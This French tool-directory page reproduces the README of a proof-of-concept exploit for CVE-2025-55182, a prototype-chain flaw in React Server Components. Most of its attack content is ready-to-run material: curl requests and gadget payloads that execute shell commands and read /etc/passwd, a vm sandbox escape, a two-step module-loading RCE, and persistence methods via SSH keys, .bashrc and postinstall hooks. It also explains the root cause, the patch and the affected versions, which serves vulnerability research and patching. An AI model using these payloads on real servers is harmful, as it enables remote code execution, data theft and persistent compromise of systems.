Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
exploit-CVE-2025-55182-poc — Cette POC démontre la CVE-2025-55182 à l'aide du code vulnérable réel `react-server-dom-webpack@19.0.0`. | Kitploit
Outils/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebArticles et RechercheApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

Cette POC démontre la CVE-2025-55182 à l'aide du code vulnérable réel `[email protected]`.

Voir le dépôt
12il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 - Vulnérabilité de la chaîne de prototypes des React Server Components

Ce POC démontre la CVE-2025-55182 en utilisant le code vulnérable réel de [email protected].

Guide de correctif d'urgence CVE-2025-55182 : analyse complète et atténuation de la vulnérabilité Next.js/React RSC (CVSS 10.0)

Ce dépôt est un fork de https://github.com/ejpir/CVE-2025-55182-poc et n'a pas encore été vérifié ! Faites preuve de prudence et vérifiez soigneusement !

Démarrage rapide

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

Sortie attendue

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

Scripts NPM

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

Note : Les exploits module sont hypothétiques. Le module intégré module est rarement inclus dans les applications de production. Ils démontrent une voie d'attaque théorique lorsque seuls fs + module sont disponibles (pas de vm/child_process). En pratique, les applications avec fs ont généralement aussi child_process via des dépendances comme sharp, puppeteer ou execa.

Tester les gadgets individuellement

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Fichiers clés

Serveurs

FilePortDescription
src/server-realistic.js3002Serveur principal - simule un bundle webpack avec des modules courants (fs, vm, child_process)
src/server.js3002Serveur legacy (utilise require direct)
src/server-module-test.js3003Serveur avec module + fs (pour la recherche)

Scripts d'exploitation

FileDescription
exploit-rce-v4.jsRCE principal via vm#runInThisContext
exploit-all-gadgets.jsTeste tous les gadgets RCE (vm, child_process, fs)
exploit-module-load.jsRCE en deux étapes via fs + module#_load
exploit-indirect-rce.jsRCE en deux étapes avec création d'un fichier de preuve
exploit-persistence.jsAttaques de persistance (clés SSH, .bashrc)
exploit-research.jsRecherche sur la chaîne de prototypes

Comment fonctionne server-realistic.js

Simule un bundle webpack réel où les applications regroupent couramment des modules dangereux via des dépendances :

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

La fonction __webpack_require__ ne charge les modules qu'à partir de BUNDLED_MODULES, simulant ainsi le comportement réel de webpack.

La vulnérabilité

Cause racine

Dans requireModule(), les exports sont accédés via la notation par crochets sans vérification hasOwnProperty :

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Vecteur d'attaque

  1. Envoyez $ACTION_REF_0 avec les métadonnées d'action liées
  2. id: 'vm#runInThisContext' charge le module vm, accède à l'export runInThisContext
  3. Le tableau bound devient les arguments de la fonction
  4. Lorsque l'action est appelée : runInThisContext(CODE) exécute du code arbitraire

Tous les gadgets RCE vérifiés

GadgetStatusDescription
vm#runInThisContext✓Exécute du JS arbitraire dans le contexte actuel
vm#runInNewContext✓Exécute dans une « sandbox » (facilement contournable)
child_process#execSync✓Exécution directe de commandes shell
child_process#execFileSync✓Exécute des fichiers binaires
child_process#spawnSync✓Lance un processus (renvoie un objet)
module#_load✓Charge et exécute un fichier JS (en 2 étapes avec fs)
fs#readFileSync✓Lit des fichiers arbitraires
fs#writeFileSync✓Écrit des fichiers arbitraires

Exemples de payloads de gadgets

Exécuter une commande shell (whoami) :

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Lire des fichiers sensibles :

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Écrire des fichiers sur le disque :

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Exécuter du JavaScript arbitraire :

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Évasion de sandbox (vm.runInNewContext) :

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Chemins d'attaque alternatifs

Avez-vous besoin de vm ou child_process ?

Pour une RCE directe : Oui, vous avez besoin de l'un des éléments suivants :

  • le module vm (runInThisContext, runInNewContext)
  • le module child_process (execSync, execFileSync, spawnSync)

Pour une RCE indirecte (fs uniquement) : Non ! Avec seulement fs, vous pouvez :

  • Écrire dans ~/.ssh/authorized_keys → accès SSH
  • Ajouter à ~/.bashrc → exécution de code à la prochaine connexion
  • Écraser node_modules/* → RCE au redémarrage de l'application
  • Modifier le postinstall de package.json → RCE au prochain npm install

Hypothétique : RCE en deux étapes avec module#_load

Note : Ceci est hypothétique. Le module intégré module est rarement inclus dans les applications de production.

root@kitploit:~
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!

Résultats de comparaison

VersionAttackResult
React 19.0.0vm#runInThisContext✓ RCE réalisée
React 19.2.1vm#runInThisContext✗ Bloquée

Tester la version corrigée

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

Paquets npm vulnérables

Voir VULNERABLE-PACKAGES.md pour une recherche sur les paquets npm populaires qui incluent des modules dangereux :

ModuleTéléchargements hebdomadairesPaquets populaires
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Versions affectées

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Versions corrigées

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Télécharger l’outil